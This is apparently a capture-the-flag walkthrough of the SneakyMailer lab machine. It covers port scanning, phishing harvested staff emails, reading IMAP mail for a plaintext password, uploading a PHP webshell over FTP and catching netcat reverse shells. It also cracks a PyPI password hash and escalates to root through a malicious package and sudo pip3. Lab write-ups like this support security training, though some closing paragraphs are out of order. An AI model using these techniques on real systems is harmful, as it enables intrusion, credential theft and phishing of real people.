As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.92 scan initiated Sat Sep 10 14:33:07 2022 as: nmap -sS --min-rate 5000 -n -Pn -p- -oN allPorts 10.10.10.197
Nmap scan report for 10.10.10.197
Host is up (0.10s latency).
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
143/tcp open imap
993/tcp open imaps
8080/tcp open http-proxy
# Nmap done at Sat Sep 10 14:33:20 2022 -- 1 IP address (1 host up) scanned in 13.47 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oNsave the scan result into file, in this case the targeted file.
# Nmap 7.92 scan initiated Sat Sep 10 14:34:05 2022 as: nmap -sCV -p21,22,25,80,143,993,8080 -oN targeted 10.10.10.197
Nmap scan report for 10.10.10.197
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
| 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp open http nginx 1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
|_http-server-header: nginx/1.14.2
143/tcp open imap Courier Imapd (released 2018)
|_imap-capabilities: ENABLE THREAD=ORDEREDSUBJECT NAMESPACE ACL IMAP4rev1 THREAD=REFERENCES completed STARTTLS IDLE CAPABILITY QUOTA OK UTF8=ACCEPTA0001 CHILDREN UIDPLUS SORT ACL2=UNION
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
993/tcp open ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: ENABLE THREAD=ORDEREDSUBJECT NAMESPACE ACL IMAP4rev1 THREAD=REFERENCES completed CAPABILITY IDLE OK QUOTA UTF8=ACCEPTA0001 AUTH=PLAIN CHILDREN UIDPLUS ACL2=UNION SORT
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open http nginx 1.14.2
|_http-title: Welcome to nginx!
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 10 14:34:57 2022 -- 1 IP address (1 host up) scanned in 52.33 seconds
The website on port 80, is doing a redirect to http://sneakycorp.htb.
whatweb http://10.10.10.197
http://10.10.10.197 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.14.2], IP[10.10.10.197], RedirectLocation[http://sneakycorp.htb], Title[301 Moved Permanently], nginx[1.14.2]
ERROR Opening: http://sneakycorp.htb - no address for sneakycorp.htb
But there is a big list of emails in the Team section.
We could have a wordlists of emails for later use. The following command will take all those emails and put them in a file, where each email is separated by a , character.
The subdomain has basically the same website, but with one register feature.
Exploitation
As we have a list of possible email addresses, we could try to send each address an email with a URL to our own HTTP server. This way, if some user open the email and click on the link, we'll see the request. First, set a simple HTTP server with nc on port 80.
nc -lvnp 80
Now, send an email to each email address of the ones we found earlier, and put in the body a link to our HTTP server. Once the emails are sent, we should see on the netcat listener a POST request with some juicy data.
Now that we have credentials for the paulbyrd user, as IMAP ports 143 and 993 are open, we could try to see which emails has the paul user sent. First, connect to the server on port 143
nc -vn 10.10.10.197 143
(UNKNOWN) [10.10.10.197] 143 (imap2) open
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc. See COPYING for distribution information.
* OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library)
A1 OK LOGIN Ok.
List all the inboxes.
A2 LIST "" "*"
* LIST (\Unmarked \HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.Sent"
* LIST (\HasNoChildren) "." "INBOX.Deleted Items"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
A2 OK LIST completed
The Sent Items inbox has a few emails.
A3 EXAMINE "INBOX.Sent Items"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS ()] No permanent flags permitted
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
A3 OK [READ-ONLY] Ok
The first email is sent to the administrator, and it contains a few credentials.
A4 FETCH 1 BODY[]
* 1 FETCH (BODY[] {2167}
MIME-Version: 1.0
To: root <root@debian>
From: Paul Byrd <paulbyrd@sneakymailer.htb>
Subject: Password reset
Date: Fri, 15 May 2020 13:03:37 -0500
Importance: normal
X-Priority: 3
Content-Type: multipart/alternative;
boundary="_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_"
--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"
Hello administrator, I want to change this password for the developer accou=
nt
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Please notify me when you do it=20
--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"
<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" xmlns:w=3D"urn:sc=
hemas-microsoft-com:office:word" xmlns:m=3D"http://schemas.microsoft.com/of=
fice/2004/12/omml" xmlns=3D"http://www.w3.org/TR/REC-html40"><head><meta ht=
tp-equiv=3DContent-Type content=3D"text/html; charset=3Dutf-8"><meta name=
=3DGenerator content=3D"Microsoft Word 15 (filtered medium)"><style><!--
/* Font Definitions */
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{margin:0in;
margin-bottom:.0001pt;
font-size:11.0pt;
font-family:"Calibri",sans-serif;}
.MsoChpDefault
{mso-style-type:export-only;}
@page WordSection1
{size:8.5in 11.0in;
margin:1.0in 1.0in 1.0in 1.0in;}
div.WordSection1
{page:WordSection1;}
--></style></head><body lang=3DEN-US link=3Dblue vlink=3D"#954F72"><div cla=
ss=3DWordSection1><p class=3DMsoNormal>Hello administrator, I want to chang=
e this password for the developer account</p><p class=3DMsoNormal><o:p>&nbs=
p;</o:p></p><p class=3DMsoNormal>Username: developer</p><p class=3DMsoNorma=
l>Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C</p><p class=3DMsoNorm=
al><o:p> </o:p></p><p class=3DMsoNormal>Please notify me when you do i=
t </p></div></body></html>=
--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_--
)
A4 OK FETCH completed.
The second email is just talking about python modules and PyPI.
A4 FETCH 2 BODY[]
* 2 FETCH (BODY[] {585}
To: low@debian
From: Paul Byrd <paulbyrd@sneakymailer.htb>
Subject: Module testing
Message-ID: <4d08007d-3f7e-95ee-858a-40c6e04581bb@sneakymailer.htb>
Date: Wed, 27 May 2020 13:28:58 -0400
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Thunderbird/68.8.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Language: en-US
Hello low
Your current task is to install, test and then erase every python module you
find in our PyPI service, let me know if you have any inconvenience.
)
A4 OK FETCH completed.
The credentials we found in the first email are valid for the FTP server.
ftp 10.10.10.197
Connected to 10.10.10.197.
220 (vsFTPd 3.0.3)
Name (10.10.10.197:alfa8sa): developer
331 Please specify the password.
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
The FTP server contains a directory called dev.
ftp> ls
229 Entering Extended Passive Mode (|||53253|)
150 Here comes the directory listing.
drwxrwxr-x 8 0 1001 4096 Jun 30 2020 dev
226 Directory send OK.
The dev directory contains what looks the files for the website hosted on dev.sneakycorp.htb.
ftp> ls dev
229 Entering Extended Passive Mode (|||11566|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 May 26 2020 css
drwxr-xr-x 2 0 0 4096 May 26 2020 img
-rwxr-xr-x 1 0 0 13742 Jun 23 2020 index.php
drwxr-xr-x 3 0 0 4096 May 26 2020 js
drwxr-xr-x 2 0 0 4096 May 26 2020 pypi
drwxr-xr-x 4 0 0 4096 May 26 2020 scss
-rwxr-xr-x 1 0 0 26523 May 26 2020 team.php
drwxr-xr-x 8 0 0 4096 May 26 2020 vendor
226 Directory send OK.
We can upload a PHP webshell to the FTP server, and then access it from the browser, so we can execute commands on the system. Create a PHP file with the following content.
<?php echo system($_GET['cmd']);?>
Upload it to the FTP server under the dev directory.
ftp> cd dev
ftp> put webshell.php
local: webshell.php remote: webshell.php
229 Entering Extended Passive Mode (|||16137|)
150 Ok to send data.
100% |*****************************************************************************************************************| 35 599.64 KiB/s 00:00 ETA
226 Transfer complete.
35 bytes sent in 00:00 (0.47 KiB/s)
Now we can execute commands. Note that the file gets remove in a certain period of time.
http://dev.sneakycorp.htb/webshell.php?cmd=whoami
Time to get a shell. Set a netcat listener on port 4444.
nc -lvnp 4444
-llisten mode.
-vverbose mode.
-nnumeric-only IP, no DNS resolution.
-p specify the port to listen on.
Now, execute the following command, which will send the netcat listener a reverse shell as the www-data user.
listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.197] 46458
bash: cannot set terminal process group (692): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ whoami
whoami
www-data
Privilege Escalation
First, let's set an interactive TTY shell.
script /dev/null -c /bin/bash
Then I press Ctrl+Z and execute the following command on my local machine:
stty raw -echo; fg
reset
Terminal type? xterm
Next, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command in our local machine:
stty size
51 236
And set the proper dimensions in the victim machine:
stty rows 51 columns 236
If we list the processes that are being executed on the system, we'll see one by the pypi user, which command executes the PyPI server on port 5000.
ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
...
pypi 703 0.0 0.6 36804 25896 ? Ss 17:44 0:05 /var/www/pypi.sneakycorp.htb/venv/bin/python3 /var/www/pypi.sneakycorp.htb/venv/bin/pypi-server -i 127.0.0.1 -p 5000 -a update,download,list -P /var/www/pypi.sneakycorp.htb/.htpasswd --disable-fallback -o /var/www/pypi.sneakycorp.htb/packages
...
It is giving the /var/www/pypi.sneakycorp.htb/.htpasswd file as an argument, which contains a password hash.
cat /var/www/pypi.sneakycorp.htb/.htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Let's break the hash with john.
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
soufianeelhaoui (?)
1g 0:00:00:42 DONE (2022-09-11 01:48) 0.02374g/s 84879p/s 84879c/s 84879C/s souheib2..souderton16
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
There is one configuration file for pypi.sneakycorp.htb under the Nginx configuration directory.
Every file can be empty, except for the setup.py file, which will contain the code that will be executed. It will contain the following code, that will send back a reverse shell.
Now, create the .pypirc file with the following content, in the home directory of our current user. The file must contain the URL of the PyPI server, the pypi user and the password that we broke.
Then execute the following command from the revshell directory. This will spawn a shell in the netcat listener, but a shell in our current machine, not the victim machine.
python setup.py sdist upload -r pwn
listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.14.11] 53970
# hostname
alfa8sa
Now, set another netcat listener on port 4444.
nc -lvnp 4444
If now we exit the reverse shell on our own machine, we should get a shell on the second netcat listener on the victim machine as the low user.
# exit
listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.197] 51448
$ whoami
low
$ cat /home/low/user.txt
4243df0f4600a593151773c8eae05b5b
Now, set another interactive TTY shell doing the same steps we did before. If we list the sudo privileges, we'll see that we can execute pip3 as root without having to give the password.
sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User low may run the following commands on sneakymailer:
(root) NOPASSWD: /usr/bin/pip3
GTFOBins is a great list of binaries that can be used to escalate privileges if you have the right permissions.
Finally, if we execute pip3 with sudo and install the setup.py script, we'll spawn a shell as root, and then all we have to do is reap the harvest and take the root flag.
sudo pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.6ZUFGMjnlF
# whoami
root
# cat /root/root.txt
b6ec4e1318e90ad1118198c239c715b8
As this explains, there is a way for us to execute commands on the system and do user pivoting by creating a Private Python Package Repository. First, we'll have to create the following directories and files structure.
If we search for on the GTFOBins list, we'll see that we can spawn a shell as the root user.